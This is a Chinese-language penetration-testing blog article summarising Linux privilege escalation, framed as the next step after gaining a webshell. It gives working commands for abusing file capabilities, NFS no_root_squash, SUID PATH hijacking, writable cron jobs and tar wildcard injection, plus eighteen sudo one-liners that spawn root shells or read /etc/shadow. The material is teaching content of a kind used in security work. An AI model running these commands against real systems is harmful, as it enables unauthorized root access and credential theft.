最全的Linux提权总结,赶紧收藏吧
2022-8-25 17:31:31 Author: 戟星安全实验室(查看原文) 阅读量:81 收藏

戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约4670字,阅读约需12分钟。

0x00 前言

在日常渗透测试过程中,我们常常会先是拿到webshell,当我们权限过低时,我们需要提升权限进行下一步渗透,今天就来聊一下提权的方式有哪些。

0x01 利用Capabilities进行提权

Capabilities是为了对Linux的权限控制更颗粒性而诞生的,在应用场景中为了满足一些低权限账户的运维需求,但是又不想利用SUID进行权限控制(因为容易造成权限滥用,SUID可以拥有root的权限),就可以利用Capabilities对低权限账户使用的命令进行权限判断,判断通过则说明拥有可执行的权限

1、环境搭建与复现

我们首先用root用户权限给命令配置Capabilities权限

setcap cap_setuid+ep /usr/bin/php

再用getcap命令是否成功赋权

getcap /usr/bin/php

那么实战中,切换到低权限账户,我们可以通过这个命令来对被设置了Capability的文件进行搜寻

getcap -r / 2>/dev/null

通过php命令成功进行提权

php -r "posix_setuid(0); system('/bin/sh');"


0x02 利用NFS进行提权

网络文件系统,英文Network File System(NFS),是由SUN公司研制的UNIX表示层协议(presentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。
通过这段文字,我们不难理解NFS的作用,简单理解就是共享文件,那么当NFS服务器误配的时候,就会产生一系列的安全问题,比如说no_root_squath这个参数,如果添加了它,那么当另一个机子A电脑root权限远程连接NFS服务器的时候,A电脑对该共享文件会直接拥有root的权限。

1、编辑/etc/exports和信息收集

/etc/exports是nfs的配置文件,其中配置了指定的共享目录,可以访问的ip白名单,以及该目录的权限,下面展示一个标准的误配。

指定了/var目录为共享目录,*号代表着任意IP都可以访问该目录,rw设置目录的读写权限,sync设置磁盘同步读写

当我们以低权限用户对/etc/exports文件进行cat的时候,我们可以清楚的看到管理员对NFS的配置,这时候我们在另外一台机器A上利用showmonut远程访问到NFS服务器

2、进行提权

那么接下来我们要怎么利用这个误配进行提权呢。

首先利用命令进行挂载,可以看到挂载成功后,我们获得了对方目录的所有权限。

mount -o rw,vers=4 106.xx.xx.125:/var /var/zhenzhen

既然都有对方目录的权限了,我们可以把自己机器上的bash上传到共享文件夹里面

cp -a /usr/bin/bash /var/zhenzhen/zhenzhen

这时候我们到NFS服务端上一看,就发现自己的目录下多了个bash

好家伙,直接root

0x03 利用SUID进行提权

1、利用环境变量进行提

在Linux中,环境变量保存在PATH文件中,就像Windows一样可以加在PATH项里,利用ECHO命令我们可以看见当前的$PATH目录

我们可以看到被添加到这些目录下的文件如/usr/local/sbin/xxxx我们都可以直接通过Shell进行调用,而不需要cd到那个目录下再去进行调用,而且调用的顺序是从左往右的。

那么我们可以通过劫持环境变量来进行提权,但前提是有一个suid权限的文件且里面有可以执行的命令。

对SUID文件进行信息收集

find / -type f -perm -04000 -ls 2>/dev/null

我们尝试运行一下这个zhenzhenshell,看看它执行了什么命令

看了里面自带了一个id命令,那我们可以通过劫持id命令的环境变量来达成提权的目的。

首先我们要清楚id命令的环境遍历的位置,通过whereis命令

可以看到默认是/usr/bin/id,现在我们要自己添加一个环境变量进去。

利用ECHO命令进行劫持

我们直接在当前目录下创个id命令(LINUX中一切皆文件),并且写入一个/bin/bash进去

之后我们利用export命令写入一个临时变量,因为是从左往右的优先级执行,所以执行id命令的时候会跑到当前目录也就是/var/zhenzhen2/目录下去执行id,而刚刚我们的id里面写入了一个/bin/bash

之后执行zhenzhenshell,成功提权。

0x04 利用crontab计时任务进行提权

crontab可以让设置一些定时任务,比如说你想在晚上11点钟自动进行文件的备份,我们就可以利用crontab设置好命令定期执行,而这些定期执行的任务也一般被叫做cron jobs。

那么假设这时候由root权限创建了一个.sh的定时任务脚本,但是因为这个定时任务脚本的权限没有设置好,导致攻击者可以以低权限的账户去进行编辑,覆盖等等操作,比如说往里面插入恶意的命令,这时候装载着恶意命令的.sh脚本就可以被root权限的定时任务给执行了,那么就可以轻松达到攻击者想要达到的目的。

对定时任务进行信息收集

根据上面的描述,我们很明显需要知道哪些定时任务启用了root权限执行,并且能够让攻击者(低权限账户)进行编辑,当用户权限足够时,我们可以通过在网上搜集一些搜索脚本来寻找其他用户的定时任务。

for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l;done //遍历用户的cronjobs
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done   //遍历用户的cronjobs

我们可以收集所有的,当前账户有权限编写的文件,比如说通过sudo cat来搜集当前root用户下的Cronjobs

sudo cat /var/spool/cron/root

通过find命令对可写文件的收集

find / -perm -2 -type f 2/dev/null

利用pspy工具对linux文件执行时间进行监控,如果发现有规律的运行文件,就会被判断为任务计划执行

https://github.com/DominicBreuker/pspy

对cronjobs进行编辑写入恶意命令

当我们具有cronjobs文件的写入权限,事情就会变得轻松很多,比如说我们这里是一个.sh的cronjobs,我们可以尝试写入一些恶意命令,例如反弹shell等操作。

0x05 利用通配符进行提权

在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析。

* 匹配任意个字符?   匹配任意单个字符   []  匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]-   匹配一个字符

但是在Linux中有一个现象,首先我们创建两个文件。

然后我们利用cat命令去抓取文本中的内容

可以看到我们并不能抓取名为--help的文件,这里并不难理解,只是shell先去解析了cat --help调出了帮助文档,而没有选择去抓取名为--help文件里面的内容,这种现象被称为Wildcard wildness

那么顺应下去,肯定不止cat命令有这个问题

比如说在当前目录下执行ls * ,它也会调用ls --help

而这种现象将会引发一些安全问题。

1、Tar命令

Tar是Unix和类Unix系统上的压缩打包工具,可以将多个文件合并为一个文件,打包后的文件后缀亦为“tar”。

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

显而易见,我们可以通过tar命令的这两条参数进行命令执行,比如说

tar -czf sss ./* --checkpoint=1 --checkpoint-action=exec="ls"

那么现在假如说有这么两个文件,我们就可以利用Wildcard wildness来达成目的

当一些运维人员配置错误时,比如说在cronjobs指定某个目录定时执行tar命令,我们就可以利用Wildcard wildness完成提权等操作。


0x06 利用SUDO命令进行提权

什么是SUDO

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作

假设,给予了zhenzhen这个账户ALL的权限,我们能够运用那些命令进行提权呢。

利用SUDO进行提权

我们先用sudo -l命令观察一下当前用户的sudo权限。假设这是一个存在SUDO滥用的账户。

####

1.利用vim命令进行提权

sudo vim -c '!sh'

2.利用man命令进行提权

sudo man man

3.利用awk命令进行提权

sudo awk 'BEGIN {system("/bin/sh")}'

4.利用curl命令进行提权

sudo curl file://etc/shadow

5.利用find命令进行提权

sudo find /etc/passwd -exec /bin/sh \;

6.利用apache命令进行提权

sudo apache2 -f /etc/shadow

7.利用xxd命令进行提权

sudo xxd "/etc/shadow" | xxd -r

8.利用taskset命令进行提权

sudo taskset 1 /bin/sh -p

9.利用git命令进行提权

sudo git help config!/bin/sh

10.利用ftp命令进行提权

sudo ftp!/bin/sh & !/bin/bash

11.利用env命令进行提权

sudo env /bin/sh

12.利用less命令进行提权

sudo less /etc/hosts!sh

13.利用perl命令进行提权

sudo perl -e 'exec "/bin/sh";'

14.利用tmux命令进行提权

sudo tmux

15.利用ed命令进行提权

sudo ed!/bin/sh

16.利用apt命令进行提权

TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}'> $TF sudo apt-get install -c $TF sl

17.利用zip命令进行提权

sudo zip 2.zip 1.txt -T--unzip-command="sh -c /bin/sh"

18.利用sed命令进行提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247499664&idx=1&sn=ec582f3120e5f4f380a67ac82ab8b658&chksm=c27ef581f5097c97fd94f0216ae0a340d5ac80e2e1657339b485cfaaeaea1898c2f7edf4bddd#rd
如有侵权请联系:admin#unsafe.sh